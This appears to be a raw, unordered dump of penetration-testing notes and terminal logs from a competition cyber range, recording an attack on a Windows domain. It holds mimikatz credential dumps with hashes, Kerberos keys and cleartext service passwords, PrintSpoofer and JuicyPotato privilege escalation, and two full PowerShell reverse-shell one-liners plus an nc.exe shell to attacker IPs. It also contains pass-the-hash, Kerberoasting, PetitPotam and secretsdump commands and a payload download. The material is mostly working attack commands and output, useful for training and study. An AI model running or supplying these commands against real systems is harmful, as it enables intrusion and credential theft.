    C:\Users\All Users\PoseidonBooking\Galley\company_files\Operations\Facilities\Maintenance_Requests\2025\Maintenance_Request_2025-06_177B.pdf
    C:\Users\All Users\PoseidonBooking\Galley\company_files\Operations\Facilities\Maintenance_Requests\2025\Maintenance_Request_2025-07_2216.pdf
    C:\Users\All Users\PoseidonBooking\Galley\company_files\Operations\Facilities\Maintenance_Requests\2025\Maintenance_Request_2025-08_A18D.pdf
    C:\Users\All Users\PoseidonBooking\Galley\company_files\Operations\Facilities\Maintenance_Requests\2025\Maintenance_Request_2025-09_F066.pdf
    C:\Users\All Users\PoseidonBooking\Galley\company_files\Operations\Facilities\Maintenance_Requests\2025\Maintenance_Request_2025-10_8C9D.pdf
    C:\Users\All Users\PoseidonBooking\Galley\company_files\Operations\Facilities\Maintenance_Requests\2025\Maintenance_Request_2025-11_3136.pdf
    C:\Users\All Users\PoseidonBooking\Galley\company_files\Operations\Facilities\Maintenance_Requests\2025\Maintenance_Request_2025-12_6452.pdf
    C:\Users\All Users\PoseidonBooking\Galley\company_files\Operations\Facilities\Maintenance_Requests\2025\Maintenance_Request_2025-13_81A8.pdf
    C:\Users\All Users\PoseidonBooking\Galley\company_files\Operations\Facilities\Maintenance_Requests\2025\Maintenance_Request_2025-14_83D9.pdf
    C:\Users\All Users\PoseidonBooking\Galley\company_files\Operations\Facilities\Maintenance_Requests\2025\Maintenance_Request_2025-15_7E76.pdf
    C:\Users\All Users\PoseidonBooking\Galley\company_files\Operations\Facilities\Maintenance_Requests\2025\Maintenance_Request_2025-16_6D9D.pdf
    C:\Users\All Users\PoseidonBooking\Galley\company_files\Operations\Facilities\Maintenance_Requests\2025\Maintenance_Request_2025-17_60AB.pdf
    C:\Users\All Users\PoseidonBooking\Galley\company_files\Operations\Facilities\Maintenance_Requests\2025\Maintenance_Request_2025-18_BC1D.pdf
    C:\Users\All Users\PoseidonBooking\Galley\company_files\Operations\Facilities\Maintenance_Requests\2025\Maintenance_Request_2025-19_C7A0.pdf
    C:\Users\All Users\PoseidonBooking\Galley\company_files\Operations\Facilities\Maintenance_Requests\2025\Maintenance_Request_2025-20_2E21.pdf
    C:\Users\All Users\PoseidonBooking\Galley\company_files\Operations\Facilities\Maintenance_Requests\2025\Maintenance_Request_2025-21_E3F4.pdf
    C:\Users\All Users\PoseidonBooking\Galley\company_files\Operations\Facilities\Maintenance_Requests\2025\Maintenance_Request_2025-22_3BDB.pdf
    C:\Users\All Users\PoseidonBooking\Galley\company_files\Operations\Facilities\Maintenance_Requests\2025\Maintenance_Request_2025-23_2765.pdf
    C:\Users\All Users\PoseidonBooking\Galley\company_files\Operations\Facilities\Maintenance_Requests\2025\Maintenance_Request_2025-24_9DAF.pdf
    C:\Users\All Users\PoseidonBooking\Galley\company_files\Operations\Facilities\Maintenance_Requests\2025\Maintenance_Request_2025-25_258B.pdf
    C:\Users\All Users\PoseidonBooking\Galley\company_files\Operations\Facilities\Maintenance_Requests\2025\Maintenance_Request_2025-26_F27F.pdf
    C:\Users\All Users\PoseidonBooking\Galley\company_files\Operations\Facilities\Maintenance_Requests\2025\Maintenance_Request_2025-27_0D55.pdf
    C:\Users\All Users\PoseidonBooking\Galley\company_files\Operations\Facilities\Maintenance_Requests\2025\Maintenance_Request_2025-28_A472.pdf
    C:\Users\All Users\PoseidonBooking\Galley\company_files\Operations\Facilities\Maintenance_Requests\2025\Maintenance_Request_2025-29_727A.pdf
    C:\Users\All Users\PoseidonBooking\Galley\company_files\Operations\Facilities\Maintenance_Requests\2025\Maintenance_Request_2025-30_C63B.pdf
    C:\Users\All Users\PoseidonBooking\Galley\company_files\Operations\Facilities\Maintenance_Requests\2025\Maintenance_Request_2025-31_D10F.pdf
    C:\Users\All Users\PoseidonBooking\Galley\company_files\Operations\Facilities\Maintenance_Requests\2025\Maintenance_Request_2025-32_192E.pdf
    C:\Users\All Users\PoseidonBooking\Galley\company_files\Operations\Facilities\Maintenance_Requests\2025\Maintenance_Request_2025-33_07D6.pdf
    C:\Users\All Users\PoseidonBooking\Galley\company_files\Operations\Facilities\Maintenance_Requests\2025\Maintenance_Request_2025-34_1C25.pdf
    C:\Users\All Users\PoseidonBooking\Galley\company_files\Operations\Facilities\Maintenance_Requests\2025\Maintenance_Request_2025-35_4A13.pdf
    C:\Users\All Users\PoseidonBooking\Galley\company_files\Operations\Fleet\Templates\Ship_Departure_Clearance_Form.pdf    C:\Users\All Users\PoseidonBooking\Galley\company_files\Operations\Fleet\Ship_Departure_Clearance\2025\Ship_Departure_Clearance_2025-01_1BF7.pdf
    C:\Users\All Users\PoseidonBooking\Galley\company_files\Operations\Fleet\Ship_Departure_Clearance\2025\Ship_Departure_Clearance_2025-02_81DC.pdf
    C:\Users\All Users\PoseidonBooking\Galley\company_files\Operations\Fleet\Ship_Departure_Clearance\2025\Ship_Departure_Clearance_2025-03_A059.pdf
    C:\Users\All Users\PoseidonBooking\Galley\company_files\Operations\Fleet\Ship_Departure_Clearance\2025\Ship_Departure_Clearance_2025-04_E55E.pdf
    C:\Users\All Users\PoseidonBooking\Galley\company_files\Operations\Fleet\Ship_Departure_Clearance\2025\Ship_Departure_Clearance_2025-05_213B.pdf
    C:\Users\All Users\PoseidonBooking\Galley\company_files\Operations\Fleet\Ship_Departure_Clearance\2025\Ship_Departure_Clearance_2025-06_41AF.pdf
    C:\Users\All Users\PoseidonBooking\Galley\company_files\Operations\Fleet\Ship_Departure_Clearance\2025\Ship_Departure_Clearance_2025-07_D5F2.pdf
    C:\Users\All Users\PoseidonBooking\Galley\company_files\Operations\Fleet\Ship_Departure_Clearance\2025\Ship_Departure_Clearance_2025-08_56DD.pdf
    C:\Users\All Users\PoseidonBooking\Galley\company_files\Operations\Fleet\Ship_Departure_Clearance\2025\Ship_Departure_Clearance_2025-09_E509.pdf
    C:\Users\All Users\PoseidonBooking\Galley\company_files\Operations\Fleet\Ship_Departure_Clearance\2025\Ship_Departure_Clearance_2025-10_8CB3.pdf
    C:\Users\All Users\PoseidonBooking\Galley\company_files\Operations\Fleet\Ship_Departure_Clearance\2025\Ship_Departure_Clearance_2025-11_929B.pdf
    C:\Users\All Users\PoseidonBooking\Galley\company_files\Operations\Fleet\Ship_Departure_Clearance\2025\Ship_Departure_Clearance_2025-12_31F6.pdf
    C:\Users\All Users\PoseidonBooking\Galley\company_files\Operations\Fleet\Ship_Departure_Clearance\2025\Ship_Departure_Clearance_2025-13_ECC4.pdf
    C:\Users\All Users\PoseidonBooking\Galley\company_files\Operations\Fleet\Ship_Departure_Clearance\2025\Ship_Departure_Clearance_2025-14_7714.pdf
    C:\Users\All Users\PoseidonBooking\Galley\company_files\Operations\Fleet\Ship_Departure_Clearance\2025\Ship_Departure_Clearance_2025-15_997C.pdf
    C:\Users\All Users\PoseidonBooking\Galley\company_files\Operations\Fleet\Ship_Departure_Clearance\2025\Ship_Departure_Clearance_2025-16_B24B.pdf
    C:\Users\All Users\PoseidonBooking\Galley\company_files\Operations\Fleet\Ship_Departure_Clearance\2025\Ship_Departure_Clearance_2025-17_93C3.pdf
    C:\Users\All Users\PoseidonBooking\Galley\company_files\Operations\Fleet\Ship_Departure_Clearance\2025\Ship_Departure_Clearance_2025-18_0347.pdf
    C:\Users\All Users\PoseidonBooking\Galley\company_files\Operations\Fleet\Ship_Departure_Clearance\2025\Ship_Departure_Clearance_2025-19_3952.pdf
    C:\Users\All Users\PoseidonBooking\Galley\company_files\Operations\Fleet\Ship_Departure_Clearance\2025\Ship_Departure_Clearance_2025-20_ECE1.pdf
    C:\Users\All Users\PoseidonBooking\Galley\company_files\Operations\Fleet\Ship_Departure_Clearance\2025\Ship_Departure_Clearance_2025-21_0F41.pdf
    C:\Users\All Users\PoseidonBooking\Galley\company_files\Operations\Fleet\Ship_Departure_Clearance\2025\Ship_Departure_Clearance_2025-22_A0CD.pdf
    C:\Users\All Users\PoseidonBooking\Galley\company_files\Operations\Fleet\Ship_Departure_Clearance\2025\Ship_Departure_Clearance_2025-23_6938.pdf
    C:\Users\All Users\PoseidonBooking\Galley\company_files\Operations\Fleet\Ship_Departure_Clearance\2025\Ship_Departure_Clearance_2025-24_9AC1.pdf
    C:\Users\All Users\PoseidonBooking\Galley\company_files\Operations\Fleet\Ship_Departure_Clearance\2025\Ship_Departure_Clearance_2025-25_1AE1.pdf
    C:\Users\All Users\PoseidonBooking\Galley\company_files\Operations\Fleet\Ship_Departure_Clearance\2025\Ship_Departure_Clearance_2025-26_A712.pdf
    C:\Users\All Users\PoseidonBooking\Galley\company_files\Operations\Fleet\Ship_Departure_Clearance\2025\Ship_Departure_Clearance_2025-27_7FA7.pdf
╔══════════╣ Office Most Recent Files -- limit 50
  Last Access Date           User                                           Application           Document
╔══════════╣ Recent files --limit 70--
   Guest :


_raw:
Microsoft Windows [Version 10.0.20348.587]
(c) Microsoft Corporation. All rights reserved.
C:\Users\Guest>Getprivs
'Getprivs' is not recognized as an internal or external command,
operable program or batch file.
C:\Users\Guest>powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows
PS C:\Users\Guest> getprivs
getprivs : The term 'getprivs' is not recognized as the name of a cmdlet, function, script file, or operable program.
Check the spelling of the name, or if a path was included, verify that the path is correct and try again.
At line:1 char:1
+ getprivs
+ ~~~~~~~~
    + CategoryInfo          : ObjectNotFound: (getprivs:String) [], CommandNotFoundException
    + FullyQualifiedErrorId : CommandNotFoundException
PS C:\Users\Guest> Get privs
Get : The term 'Get' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the
spelling of the name, or if a path was included, verify that the path is correct and try again.
At line:1 char:1
+ Get privs
+ ~~~
    + CategoryInfo          : ObjectNotFound: (Get:String) [], CommandNotFoundException
    + FullyQualifiedErrorId : CommandNotFoundException
PS C:\Users\Guest> get privs
get : The term 'get' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the
spelling of the name, or if a path was included, verify that the path is correct and try again.
At line:1 char:1
+ get privs
+ ~~~
    + CategoryInfo          : ObjectNotFound: (get:String) [], CommandNotFoundException
    + FullyQualifiedErrorId : CommandNotFoundException
PS C:\Users\Guest> exit
C:\Users\Guest>get privs
'get' is not recognized as an internal or external command,
operable program or batch file.
C:\Users\Guest>whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name                            Description                                                        State
========================================= ================================================================== ========
SeIncreaseQuotaPrivilege                  Adjust memory quotas for a process                                 Disabled
SeSecurityPrivilege                       Manage auditing and security log                                   Disabled
SeTakeOwnershipPrivilege                  Take ownership of files or other objects                           Disabled
SeLoadDriverPrivilege                     Load and unload device drivers                                     Disabled
SeSystemProfilePrivilege                  Profile system performance                                         Disabled
SeSystemtimePrivilege                     Change the system time                                             Disabled
SeProfileSingleProcessPrivilege           Profile single process                                             Disabled
SeIncreaseBasePriorityPrivilege           Increase scheduling priority                                       Disabled
SeCreatePagefilePrivilege                 Create a pagefile                                                  Disabled
SeBackupPrivilege                         Back up files and directories                                      Disabled
SeRestorePrivilege                        Restore files and directories                                      Disabled
SeShutdownPrivilege                       Shut down the system                                               Disabled
SeDebugPrivilege                          Debug programs                                                     Disabled
SeSystemEnvironmentPrivilege              Modify firmware environment values                                 Disabled
SeChangeNotifyPrivilege                   Bypass traverse checking                                           Enabled
SeRemoteShutdownPrivilege                 Force shutdown from a remote system                                Disabled
SeUndockPrivilege                         Remove computer from docking station                               Disabled
SeManageVolumePrivilege                   Perform volume maintenance tasks                                   Disabled
SeImpersonatePrivilege                    Impersonate a client after authentication                          Enabled
SeCreateGlobalPrivilege                   Create global objects                                              Enabled
SeIncreaseWorkingSetPrivilege             Increase a process working set                                     Disabled
SeTimeZonePrivilege                       Change the time zone                                               Disabled
SeCreateSymbolicLinkPrivilege             Create symbolic links                                              Disabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Disabled
C:\Users\Guest>dir
 Volume in drive C is OS
 Volume Serial Number is 3018-5673
 Directory of C:\Users\Guest


_raw: hashcat -a 3 -m 1000 leaked-hashes.txt /usr/share/wordlists/rockyou.txt


_raw:
-a----         11/1/2025   8:40 PM          46856 mimilib.dll
PS C:\Users\Guest\Downloads\mimikatz-master\mimikatz-master\x64> .\mimidrv.sys
Program 'mimidrv.sys' failed to run: No application is associated with the specified file for this operationAt line:1
char:1
+ .\mimidrv.sys
+ ~~~~~~~~~~~~~.
At line:1 char:1
+ .\mimidrv.sys
+ ~~~~~~~~~~~~~
    + CategoryInfo          : ResourceUnavailable: (:) [], ApplicationFailedException
    + FullyQualifiedErrorId : NativeCommandFailed
PS C:\Users\Guest\Downloads\mimikatz-master\mimikatz-master\x64> .\mimikatz.exe
  .#####.   mimikatz 2.2.0 (x64) #18362 Feb 29 2020 11:13:36
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( REDACTED_EMAIL )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( REDACTED_EMAIL )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # lsadump::sam
Domain : DECKHAND-01
SysKey : 3cde60a82a73dabb5d9849e1bd07c0ee
Local SID : S-1-5-21-3389149157-3515319966-2354694003
SAMKey : d269af03cbe0f2e4e3b84dbd54f9cc14
RID  : 000001f4 (500)
User : Administrator
  Hash NTLM: a4fa38e8e61d094ab455cecda06105d3
Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
    Random Value : 97e55908697fe12e6e72fb8dbaa99fea
* Primary:Kerberos-Newer-Keys *
    Default Salt : CPTC11-REGIONALAdministrator
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : 0594334c2a1cfee16e05c3659a4d46e0aa3de1497073f1f8712b45900f0e4244
      aes128_hmac       (4096) : eaca955be90c4950ee192343a3e51e4f
      des_cbc_md5       (4096) : 6b9d6ecbb940832c
    OldCredentials
      aes256_hmac       (4096) : 68ea745ec1275f76c7e516a43cb953098bb1408f6ee480918ed55d557bcedaf2
      aes128_hmac       (4096) : 07ca86668259149741c5b80c712d82e7
      des_cbc_md5       (4096) : 800754f1dab52032
    OlderCredentials
      aes256_hmac       (4096) : 45aa8b521fe8466f2575fe2351ec7a89ca50e77b7462c3385d3b9e8bd643bacc
      aes128_hmac       (4096) : e495265cbca93e0a4f0e5df1991f4682
      des_cbc_md5       (4096) : 49cb9ddab6080d01
* Packages *
    NTLM-Strong-NTOWF
* Primary:Kerberos *
    Default Salt : CPTC11-REGIONALAdministrator
    Credentials
      des_cbc_md5       : 6b9d6ecbb940832c
    OldCredentials
      des_cbc_md5       : 800754f1dab52032
RID  : 000001f5 (501)
User : Guest
RID  : 000001f7 (503)
User : DefaultAccount
RID  : 000001f8 (504)
User : WDAGUtilityAccount
  Hash NTLM: 8637359b33589ddae398230f3266f5ef
Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
    Random Value : 47ac90676cf1719b4e2dc2281e254444
* Primary:Kerberos-Newer-Keys *
    Default Salt : WDAGUtilityAccount
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : 9bdf30dc38755b573b451c6278493bc3456c212e4acca11524fa1eb4f1d777f1
      aes128_hmac       (4096) : 52eb2f4ed470a6bfcd8ffc8d44efd185
      des_cbc_md5       (4096) : 731315b5e370b0c8
* Packages *
    NTLM-Strong-NTOWF
* Primary:Kerberos *
    Default Salt : WDAGUtilityAccount
    Credentials
      des_cbc_md5       : 731315b5e370b0c8
RID  : 000003e8 (1000)
User : cloudbase-init
  Hash NTLM: 2d894c9f272d4de9aa29d58290cf5c45
Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
    Random Value : 1320c556f96bd1585629d796e053c40e
* Primary:Kerberos-Newer-Keys *
    Default Salt : DECKHAND-01cloudbase-init
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : edde2abdadf076262de3121fa1eb94c31fe186fa31fe625547988c7896270aa4
      aes128_hmac       (4096) : 400db6a917fd15adf4b066cf593d079c
      des_cbc_md5       (4096) : da6294e5cdbacb5d
    OldCredentials
      aes256_hmac       (4096) : 8b1f6dc2c1f345d5386c6f997bf31bfda3bfeefc09c9e6d8c94ec976e1a041bc
      aes128_hmac       (4096) : b3ffd8718c00fc775e56e812a8305d20
      des_cbc_md5       (4096) : f13791d5d6834070
    OlderCredentials
      aes256_hmac       (4096) : cf8c2fff0fa8b031d7f60c1abf8655d53edb8eb3045805cfa6d011545e3b77b4
      aes128_hmac       (4096) : 752c11214a54fe105b57a6bf72a49898
      des_cbc_md5       (4096) : 861c46c1460e1ca1
* Packages *
    NTLM-Strong-NTOWF
* Primary:Kerberos *
    Default Salt : DECKHAND-01cloudbase-init
    Credentials
      des_cbc_md5       : da6294e5cdbacb5d
    OldCredentials
      des_cbc_md5       : f13791d5d6834070
RID  : 000003e9 (1001)
User : Admin
  Hash NTLM: 93d28ae0c5253f88f990fef8ac35a4ae
Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
    Random Value : c55cbec486aa1e50352be1f0b6aa429f
* Primary:Kerberos-Newer-Keys *
    Default Salt : CPTC11-REGIONALAdmin
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : 23e7a23438d943d02f3bcd27f65cd49f1edffbf317fb7174f5cb71fd2705a5e7
      aes128_hmac       (4096) : 775afc18482c00ba19c36b3cacadc28c
      des_cbc_md5       (4096) : a2dfeada7cd33140
    OldCredentials
      aes256_hmac       (4096) : 23e7a23438d943d02f3bcd27f65cd49f1edffbf317fb7174f5cb71fd2705a5e7
      aes128_hmac       (4096) : 775afc18482c00ba19c36b3cacadc28c
      des_cbc_md5       (4096) : a2dfeada7cd33140
* Packages *
    NTLM-Strong-NTOWF
* Primary:Kerberos *
    Default Salt : CPTC11-REGIONALAdmin
    Credentials
      des_cbc_md5       : a2dfeada7cd33140
    OldCredentials
      des_cbc_md5       : a2dfeada7cd33140
mimikatz # sekurlsa::logonpassowrds
ERROR mimikatz_doLocal ; "logonpassowrds" command of "sekurlsa" module not found !
Module :        sekurlsa
Full name :     SekurLSA module
Description :   Some commands to enumerate credentials...
             msv  -  Lists LM & NTLM credentials
         wdigest  -  Lists WDigest credentials
        kerberos  -  Lists Kerberos credentials
           tspkg  -  Lists TsPkg credentials
         livessp  -  Lists LiveSSP credentials
             ssp  -  Lists SSP credentials
  logonPasswords  -  Lists all available providers credentials
         process  -  Switch (or reinit) to LSASS process  context
        minidump  -  Switch (or reinit) to LSASS minidump context
         bootkey  -  Set the SecureKernel Boot Key to attempt to decrypt LSA Isolated credentials
             pth  -  Pass-the-hash
          krbtgt  -  krbtgt!
     dpapisystem  -  DPAPI_SYSTEM secret
           trust  -  Antisocial
      backupkeys  -  Preferred Backup Master keys
         tickets  -  List Kerberos tickets
           ekeys  -  List Kerberos Encryption Keys
           dpapi  -  List Cached MasterKeys
         credman  -  List Credentials Manager
mimikatz # sekurlsa::logonpasswords
ERROR kuhl_m_sekurlsa_acquireLSA ; Logon list
mimikatz # lsadump::secrets
Domain : DECKHAND-01
SysKey : 3cde60a82a73dabb5d9849e1bd07c0ee
Local name : DECKHAND-01 ( S-1-5-21-3389149157-3515319966-2354694003 )
Domain name : APT ( S-1-5-21-3308619691-1133438875-565369046 )
Domain FQDN : allports.local
Policy subsystem is : 1.18
LSA Key(s) : 1, default {e2b32e83-93ba-525d-03cb-0752468ff2ff}
  [00] {e2b32e83-93ba-525d-03cb-0752468ff2ff} 91df35bf3833000d35e71e35d8d0af2c6b0b18ef952ce6aff41288708d98b17e
Secret  : $MACHINE.ACC
cur/text: -jS%zg2]B\6j_n/&[XVJG>'U4@g]pU/r['3K ,-<n1D:B4>c)<h30j2U64Mv.`kOgq`I$j^cs2>2R\tO*4.%b=V@gz;S3HCM=!D[dS=rc\ox6PbOOVHll5hE
    NTLM:ad711d630b57709f4904d89ab53d0f16
    SHA1:c5fadde0b1fa13c0549ed58fc8c0f8090d7f0264
old/text: -jS%zg2]B\6j_n/&[XVJG>'U4@g]pU/r['3K ,-<n1D:B4>c)<h30j2U64Mv.`kOgq`I$j^cs2>2R\tO*4.%b=V@gz;S3HCM=!D[dS=rc\ox6PbOOVHll5hE
    NTLM:ad711d630b57709f4904d89ab53d0f16
    SHA1:c5fadde0b1fa13c0549ed58fc8c0f8090d7f0264
Secret  : DefaultPassword
cur/text: Cyb3rrange!
old/text: Cyb3rrange!
Secret  : DPAPI_SYSTEM
cur/hex : 01 00 00 00 d1 07 e5 fe 60 c5 52 17 4f d3 b4 24 9d 9c b5 fe b7 8f 1d b9 ef 46 51 82 76 85 15 9e 63 98 4b 68 af b8 30 66 c1 4a 50 70
    full: d107e5fe60c552174fd3b4249d9cb5feb78f1db9ef4651827685159e63984b68afb83066c14a5070
    m/u : d107e5fe60c552174fd3b4249d9cb5feb78f1db9 / ef4651827685159e63984b68afb83066c14a5070
old/hex : 01 00 00 00 38 54 ae 3a 47 5d 66 ae fc 94 7b 3e ad 2b 4b e5 87 09 1d 1f f4 aa bc 44 95 cc f9 27 c3 67 d2 3d 90 12 ae 9c 5b af 0f d7
    full: 3854ae3a475d66aefc947b3ead2b4be587091d1ff4aabc4495ccf927c367d23d9012ae9c5baf0fd7
    m/u : 3854ae3a475d66aefc947b3ead2b4be587091d1f / f4aabc4495ccf927c367d23d9012ae9c5baf0fd7
Secret  : NL$KM
cur/hex : ae 0c 65 4a 9b c0 fa 01 77 ec 3d 2d 7e ad fd 33 fd d5 14 eb bb 69 2b d9 cd fc 5a 9d cb 64 21 c9 94 28 38 ec de b0 94 6e 1b 3b b9 7b b7 a7 7e 21 3d 0a fb bb fb 10 20 76 cc 6c 16 13 5d 40 f9 21
old/hex : ae 0c 65 4a 9b c0 fa 01 77 ec 3d 2d 7e ad fd 33 fd d5 14 eb bb 69 2b d9 cd fc 5a 9d cb 64 21 c9 94 28 38 ec de b0 94 6e 1b 3b b9 7b b7 a7 7e 21 3d 0a fb bb fb 10 20 76 cc 6c 16 13 5d 40 f9 21
Secret  : _SC_cloudbase-init / service 'cloudbase-init' with username : .\cloudbase-init
cur/text: iFTpAErelJjXK65oWdLi
old/text: 8p99dXs7N0FmFmmDiNUZ
Secret  : _SC_SplunkForwarder / service 'SplunkForwarder' with username : NT SERVICE\SplunkForwarder
mimikatz #


_raw:
-a----         11/1/2025   8:40 PM           4951 README.md
PS C:\Users\Guest\Downloads\mimikatz-master\mimikatz-master> cd .\x64\
PS C:\Users\Guest\Downloads\mimikatz-master\mimikatz-master\x64> ls
    Directory: C:\Users\Guest\Downloads\mimikatz-master\mimikatz-master\x64
Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----


_raw:
d-----         11/1/2025   8:40 PM                mimikatz-master
PS C:\Users\Guest\Downloads\mimikatz-master> .\mimikatz-master\
.\mimikatz-master\ : The term '.\mimikatz-master\' is not recognized as the name of a cmdlet, function, script file,
or operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and
try again.
At line:1 char:1
+ .\mimikatz-master\
+ ~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ObjectNotFound: (.\mimikatz-master\:String) [], CommandNotFoundException
    + FullyQualifiedErrorId : CommandNotFoundException
PS C:\Users\Guest\Downloads\mimikatz-master> cd .\mimikatz-maste
cd : Cannot find path 'C:\Users\Guest\Downloads\mimikatz-master\mimikatz-maste' because it does not exist.
At line:1 char:1
+ cd .\mimikatz-maste
+ ~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ObjectNotFound: (C:\Users\Guest\...\mimikatz-maste:String) [Set-Location], ItemNotFoundE
   xception
    + FullyQualifiedErrorId : PathNotFound,Microsoft.PowerShell.Commands.SetLocationCommand
PS C:\Users\Guest\Downloads\mimikatz-master> cd .\mimikatz-master\
PS C:\Users\Guest\Downloads\mimikatz-master\mimikatz-master> LS
    Directory: C:\Users\Guest\Downloads\mimikatz-master\mimikatz-master
Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----


_raw: .\PrintSpoofer64.exe -i -c powershell.exe


_raw:
-a----         11/1/2025   8:33 PM        2369024 Unconfirmed 780503.crdownload
PS C:\Users\Guest\Downloads> cd .\mimikatz-master\
PS C:\Users\Guest\Downloads\mimikatz-master> ls
    Directory: C:\Users\Guest\Downloads\mimikatz-master
Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----


_raw:
11/01/2025  08:33 PM         2,369,024 Unconfirmed 780503.crdownload
               3 File(s)      4,765,184 bytes
               2 Dir(s)  104,066,736,128 bytes free
C:\Users\Guest\Downloads>./PrintSpoofer64.exe
'.' is not recognized as an internal or external command,
operable program or batch file.
C:\Users\Guest\Downloads>PrintSpoofer64.exe
[-] Please specify a command to execute
C:\Users\Guest\Downloads>./PrintSpoofer64.exe -i -c powershell.exe
'.' is not recognized as an internal or external command,
operable program or batch file.
C:\Users\Guest\Downloads>PrintSpoofer64.exe -i -c powershell.exe
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows
PS C:\windows\system32> cd ..
PS C:\windows> ls
    Directory: C:\windows
Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----


_raw:
C:\Users\rdavis>python -c "from impacket.examples.secretsdump import LocalOperations; print('Available locally')"
'python' is not recognized as an internal or external command,
operable program or batch file.
C:\Users\rdavis>


_raw: python -c "from impacket.examples.secretsdump import LocalOperations; print('Available locally')"


_raw: curl -L https://ghst.ly/getbhce | docker-compose -f - up


_raw:
d-r---         11/1/2025   8:21 PM                Videos
PS C:\Users\Guest> cd .\Downloads\
PS C:\Users\Guest\Downloads> ls
    Directory: C:\Users\Guest\Downloads
Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----


_raw: d-r---         11/1/2025   8:21 PM                ImmersiveControlPanel


_raw:
11/01/2025  08:21 PM    <DIR>          Videos
               0 File(s)              0 bytes
              14 Dir(s)  104,068,263,936 bytes free
C:\Users\Guest>cd Downloads
C:\Users\Guest\Downloads>dir
 Volume in drive C is OS
 Volume Serial Number is 3018-5673
 Directory of C:\Users\Guest\Downloads


_raw: impacket-GetUserSPNs -dc-ip 10.0.1.6 allports.local/rdavis -request


_raw: Invoke-Inveigh Y -NBNS Y -ConsoleOutput Y -FileOutput Y


_raw: $LHOST = "10.0.254.202"; $LPORT = 9000; $TCPClient = New-Object Net.Sockets.TCPClient($LHOST, $LPORT); $NetworkStream = $TCPClient.GetStream(); $StreamReader = New-Object IO.StreamReader($NetworkStream); $StreamWriter = New-Object IO.StreamWriter($NetworkStream); $StreamWriter.AutoFlush = $true; $Buffer = New-Object System.Byte[] 1024; while ($TCPClient.Connected) { while ($NetworkStream.DataAvailable) { $RawData = $NetworkStream.Read($Buffer, 0, $Buffer.Length); $Code = ([text.encoding]::UTF8).GetString($Buffer, 0, $RawData -1) }; if ($TCPClient.Connected -and $Code.Length -gt 1) { $Output = try { Invoke-Expression ($Code) 2>&1 } catch { $_ }; $StreamWriter.Write("$Output`n"); $Code = $null } }; $TCPClient.Close(); $NetworkStream.Close(); $StreamReader.Close(); $StreamWriter.Close()


_raw:
System error 5 has occurred.
Access is denied.


_raw: bloodyAD --host <DC IP> -d <domain name> -u <user> -p <password> get writable


_raw: C:\Users\Brady\Desktop\screenshots\ldap_shell\2025-11-01 14_21_38-Remote Desktop Manager [CPTC].png


_raw: $LHOST = "10.0.254.202"; $LPORT = 80; $TCPClient = New-Object Net.Sockets.TCPClient($LHOST, $LPORT); $NetworkStream = $TCPClient.GetStream(); $StreamReader = New-Object IO.StreamReader($NetworkStream); $StreamWriter = New-Object IO.StreamWriter($NetworkStream); $StreamWriter.AutoFlush = $true; $Buffer = New-Object System.Byte[] 1024; while ($TCPClient.Connected) { while ($NetworkStream.DataAvailable) { $RawData = $NetworkStream.Read($Buffer, 0, $Buffer.Length); $Code = ([text.encoding]::UTF8).GetString($Buffer, 0, $RawData -1) }; if ($TCPClient.Connected -and $Code.Length -gt 1) { $Output = try { Invoke-Expression ($Code) 2>&1 } catch { $_ }; $StreamWriter.Write("$Output`n"); $Code = $null } }; $TCPClient.Close(); $NetworkStream.Close(); $StreamReader.Close(); $StreamWriter.Close()


_raw: Invoke-WebRequest -Uri http://10.0.254.201:8080/initial_access.exe -OutFile .\initial_access.exe


_raw: nxc smb 10.0.1.6 -u admin -H fb5f5729c7a020fb9dfaacd9509b243b


_raw: nxc smb 10.0.1.6 -u users4.txt -H fb5f5729c7a020fb9dfaacd9509b243b --continue-on-success


_raw: KRB5CCNAME=rdavis.ccache python3 PetitPotam.py -k -no-pass 10.0.254.205 Deckhand-02


_raw: C:\Users\Brady\Desktop\screenshots\ldap_shell\2025-11-01 13_39_30-Remote Desktop Manager [CPTC].png


_raw: KRB5CCNAME=Administrator@REDACTED_EMAIL impacket-secretsdump -k -no-pass Deckhand-02


_raw: C:\Users\Brady\Desktop\screenshots\ldap_shell\2025-11-01 13_33_58-Remote Desktop Manager [CPTC].png


_raw: C:\Users\Brady\Desktop\screenshots\ldap_shell\2025-11-01 13_33_18-Remote Desktop Manager [CPTC].png


_raw: .\juicypotato.exe -l 4141 -c "{C49E32C6-BC8B-11d2-85D4-00105A1F8304}" -p c:\windows\system32\cmd.exe -a " /c c:\users\default\tools\nc.exe -e cmd.exe 10..0.254.206 4141" -t *


_raw: impacket-getST -spn 'cifs/Deckhand-02' -impersonate Administrator -dc-ip '10.0.1.6' 'allports.local/svc_stabilize:1gyroscope'


